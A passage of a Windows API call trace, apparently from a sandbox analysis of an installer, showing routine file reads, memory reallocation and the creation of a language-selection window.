lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.483] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.483] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.484] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.484] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.484] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.484] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.484] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.485] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.486] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.488] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.489] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.489] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.489] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x4000, uFlags=0x2) returned 0x4d003c [0253.489] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.489] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.489] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.489] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x6000, uFlags=0x2) returned 0x4d003c [0253.489] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.490] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.490] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.490] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x8000, uFlags=0x2) returned 0x4d003c [0253.490] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.491] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.491] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.491] GlobalReAlloc (hMem=0x4d003c, dwBytes=0xa000, uFlags=0x2) returned 0x4d003c [0253.491] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.492] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.492] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.492] GlobalReAlloc (hMem=0x4d003c, dwBytes=0xc000, uFlags=0x2) returned 0x4d003c [0253.492] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.493] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.493] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.493] GlobalReAlloc (hMem=0x4d003c, dwBytes=0xe000, uFlags=0x2) returned 0x4d003c [0253.493] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.494] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.494] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.494] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x10000, uFlags=0x2) returned 0x4d003c [0253.494] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.495] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.495] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.495] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x12000, uFlags=0x2) returned 0x4d003c [0253.495] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.496] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.496] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.496] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x14000, uFlags=0x2) returned 0x4d003c [0253.496] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.497] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.497] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.497] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x16000, uFlags=0x2) returned 0x4d003c [0253.497] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.498] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.498] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.498] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x18000, uFlags=0x2) returned 0x4d003c [0253.498] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.498] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.498] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.498] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.498] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.498] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.498] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.499] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.499] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.499] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.499] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.499] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.499] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.499] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.499] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0xa94, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0xa94, lpOverlapped=0x0) returned 1 [0253.500] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.500] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.500] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x1a000, uFlags=0x2) returned 0x4d003c [0253.500] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.500] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.500] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.500] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x1c000, uFlags=0x2) returned 0x4d003c [0253.517] GlobalLock (hMem=0x4d003c) returned 0x5ae398 [0253.518] GlobalHandle (pMem=0x5ae398) returned 0x4d003c [0253.518] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.518] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x1e000, uFlags=0x2) returned 0x4d003c [0253.518] GlobalLock (hMem=0x4d003c) returned 0x5ae398 [0253.519] GlobalHandle (pMem=0x5ae398) returned 0x4d003c [0253.519] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.519] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x20000, uFlags=0x2) returned 0x4d003c [0253.523] GlobalLock (hMem=0x4d003c) returned 0x5cc3a8 [0253.524] GlobalHandle (pMem=0x5cc3a8) returned 0x4d003c [0253.524] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.524] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x22000, uFlags=0x2) returned 0x4d003c [0253.524] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.524] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.524] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.525] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x24000, uFlags=0x2) returned 0x4d003c [0253.525] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.525] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.525] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.525] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x26000, uFlags=0x2) returned 0x4d003c [0253.525] GlobalLock (hMem=0x4d003c) returned 0x594388 [0253.525] VirtualFree (lpAddress=0x390000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0253.526] GlobalLock (hMem=0x4d0044) returned 0x5ba398 [0253.526] GlobalHandle (pMem=0x594388) returned 0x4d003c [0253.526] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.526] VirtualAlloc (lpAddress=0x390000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x390000 [0253.528] GlobalLock (hMem=0x4d003c) returned 0x5e03a8 [0253.528] GlobalHandle (pMem=0x5e03a8) returned 0x4d003c [0253.528] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.528] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x4000, uFlags=0x2) returned 0x4d003c [0253.528] GlobalLock (hMem=0x4d003c) returned 0x5e03a8 [0253.529] GlobalHandle (pMem=0x5e03a8) returned 0x4d003c [0253.529] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.529] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x6000, uFlags=0x2) returned 0x4d003c [0253.529] GlobalLock (hMem=0x4d003c) returned 0x5e03a8 [0253.530] GlobalHandle (pMem=0x5e03a8) returned 0x4d003c [0253.530] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.530] GlobalReAlloc (hMem=0x4d003c, dwBytes=0x8000, uFlags=0x2) returned 0x4d003c [0253.530] GlobalLock (hMem=0x4d003c) returned 0x5e03a8 [0253.530] GlobalHandle (pMem=0x5e03a8) returned 0x4d003c [0253.530] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.530] GlobalReAlloc (hMem=0x4d003c, dwBytes=0xa000, uFlags=0x2) returned 0x4d003c [0253.530] GlobalLock (hMem=0x4d003c) returned 0x5e03a8 [0253.531] GlobalHandle (pMem=0x5e03a8) returned 0x4d003c [0253.531] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.531] GlobalReAlloc (hMem=0x4d003c, dwBytes=0xc000, uFlags=0x2) returned 0x4d003c [0253.531] GlobalLock (hMem=0x4d003c) returned 0x5e03a8 [0253.531] VirtualFree (lpAddress=0x390000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0253.532] GlobalLock (hMem=0x4d004c) returned 0x594388 [0253.532] GlobalHandle (pMem=0x5e03a8) returned 0x4d003c [0253.532] GlobalUnlock (hMem=0x4d003c) returned 0 [0253.532] VirtualFree (lpAddress=0x3f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0253.533] VirtualFree (lpAddress=0x2c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0253.872] VirtualFree (lpAddress=0x2dc000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0253.873] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fe78*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fe78*=0) returned 0x52fbd [0253.873] SetFilePointer (in: hFile=0x10c, lDistanceToMove=339901, lpDistanceToMoveHigh=0x18fe60*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fe60*=0) returned 0x52fbd [0253.873] VirtualFree (lpAddress=0x2d8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0253.874] ReadFile (in: hFile=0x10c, lpBuffer=0x18fe7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fe34, lpOverlapped=0x0 | out: lpBuffer=0x18fe7c*, lpNumberOfBytesRead=0x18fe34*=0x4, lpOverlapped=0x0) returned 1 [0253.875] ReadFile (in: hFile=0x10c, lpBuffer=0x18fe74, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x18fe34, lpOverlapped=0x0 | out: lpBuffer=0x18fe74*, lpNumberOfBytesRead=0x18fe34*=0x5, lpOverlapped=0x0) returned 1 [0253.875] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fe70*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fe70*=0) returned 0x52fc6 [0253.875] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x18fe68 | out: lpFileSizeHigh=0x18fe68*=0x0) returned 0x90e34 [0253.875] VirtualAlloc (lpAddress=0x390000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x390000 [0253.877] VirtualFree (lpAddress=0x390000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0253.879] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fe78*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fe78*=0) returned 0x52fc6 [0253.879] SetFilePointer (in: hFile=0x10c, lDistanceToMove=339929, lpDistanceToMoveHigh=0x18fe60*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fe60*=0) returned 0x52fd9 [0253.879] CloseHandle (hObject=0x10c) returned 1 [0253.880] FindResourceA (hModule=0x400000, lpName="TUIStateForm", lpType=0xa) returned 0x0 [0253.880] FindResourceA (hModule=0x400000, lpName="TSetupForm", lpType=0xa) returned 0x0 [0253.880] FindResourceA (hModule=0x400000, lpName="TSelectLanguageForm", lpType=0xa) returned 0x4ae8e8 [0253.880] FreeResource (hResData=0x4ae8e8) returned 0 [0253.880] FindResourceA (hModule=0x400000, lpName="TSelectLanguageForm", lpType=0xa) returned 0x4ae8e8 [0253.880] LoadResource (hModule=0x400000, hResInfo=0x4ae8e8) returned 0x4c84ec [0253.880] SizeofResource (hModule=0x400000, hResInfo=0x4ae8e8) returned 0x300 [0253.880] LockResource (hResData=0x4c84ec) returned 0x4c84ec [0253.880] VirtualAlloc (lpAddress=0x390000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x390000 [0253.881] GetDC (hWnd=0x0) returned 0x1f01019b [0253.881] CreateFontIndirectA (lplf=0x18f950) returned 0x640a01f1 [0253.881] SelectObject (hdc=0x1f01019b, h=0x640a01f1) returned 0x18a002e [0253.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38ee68, cbMultiByte=1, lpWideCharStr=0x390ecc, cchWideChar=1 | out: lpWideCharStr=" Iㄴ") returned 1 [0253.881] DrawTextW (in: hdc=0x1f01019b, lpchText=" Iㄴ", cchText=1, lprc=0x18f9b8, format=0x540 | out: lpchText=" Iㄴ", lprc=0x18f9b8) returned 13 [0253.886] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0253.886] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0253.886] GetClassInfoA (in: hInstance=0x400000, lpClassName="TSelectLanguageForm", lpWndClass=0x18fa38 | out: lpWndClass=0x18fa38) returned 0 [0253.887] RegisterClassA (lpWndClass=0x18f9d0) returned 0xc1d3 [0253.887] CreateWindowExA (dwExStyle=0x101, lpClassName="TSelectLanguageForm", lpWindowName="SelectLanguageForm", dwStyle=0x86c80000, X=200, Y=108, nWidth=320, nHeight=240, hWndParent=0x2024a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x70042 [0253.888] SetWindowLongA (hWnd=0x70042, nIndex=-4, dwNewLong=2297813) returned 4274892 [0253.888] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.888] SetPropA (hWnd=0x70042, lpString=0xc167, hData=0x38ef44) returned 1 [0253.888] SetPropA (hWnd=0x70042, lpString=0xc168, hData=0x38ef44) returned 1 [0253.888] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x81, wParam=0x0, lParam=0x18f564) returned 0x1 [0253.888] SetMenu (hWnd=0x70042, hMenu=0x0) returned 1 [0253.889] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18f2c4) returned 0x0 [0253.889] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x83, wParam=0x1, lParam=0x18f29c) returned 0x0 [0253.890] IsIconic (hWnd=0x70042) returned 0 [0253.890] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f078 | out: lpRect=0x18f078) returned 1 [0253.890] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.890] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x47, wParam=0x0, lParam=0x18f2c4) returned 0x0 [0253.890] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x3, wParam=0x0, lParam=0x8500cb) returned 0x0 [0253.890] IsIconic (hWnd=0x70042) returned 0 [0253.890] GetWindowRect (in: hWnd=0x70042, lpRect=0x18ec9c | out: lpRect=0x18ec9c) returned 1 [0253.890] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.890] IsIconic (hWnd=0x70042) returned 0 [0253.890] GetWindowRect (in: hWnd=0x70042, lpRect=0x18ec74 | out: lpRect=0x18ec74) returned 1 [0253.890] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.890] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x5, wParam=0x0, lParam=0xd4013a) returned 0x0 [0253.890] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.890] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.891] IsIconic (hWnd=0x70042) returned 0 [0253.891] GetClientRect (in: hWnd=0x70042, lpRect=0x18ec88 | out: lpRect=0x18ec88) returned 1 [0253.891] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.891] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.891] IsIconic (hWnd=0x70042) returned 0 [0253.891] GetClientRect (in: hWnd=0x70042, lpRect=0x18ec88 | out: lpRect=0x18ec88) returned 1 [0253.891] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.891] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.891] IsIconic (hWnd=0x70042) returned 0 [0253.891] GetClientRect (in: hWnd=0x70042, lpRect=0x18ec5c | out: lpRect=0x18ec5c) returned 1 [0253.891] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.891] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.891] IsIconic (hWnd=0x70042) returned 0 [0253.891] GetClientRect (in: hWnd=0x70042, lpRect=0x18ec5c | out: lpRect=0x18ec5c) returned 1 [0253.891] SetScrollInfo (hwnd=0x70042, nBar=1, lpsi=0x18ec90, redraw=1) returned 0 [0253.931] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.931] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.932] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.932] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.932] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.932] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.933] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.933] IsIconic (hWnd=0x70042) returned 0 [0253.933] GetClientRect (in: hWnd=0x70042, lpRect=0x18ec5c | out: lpRect=0x18ec5c) returned 1 [0253.933] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.933] IsIconic (hWnd=0x70042) returned 0 [0253.933] GetClientRect (in: hWnd=0x70042, lpRect=0x18ec5c | out: lpRect=0x18ec5c) returned 1 [0253.933] SetScrollInfo (hwnd=0x70042, nBar=0, lpsi=0x18ec90, redraw=1) returned 0 [0253.934] 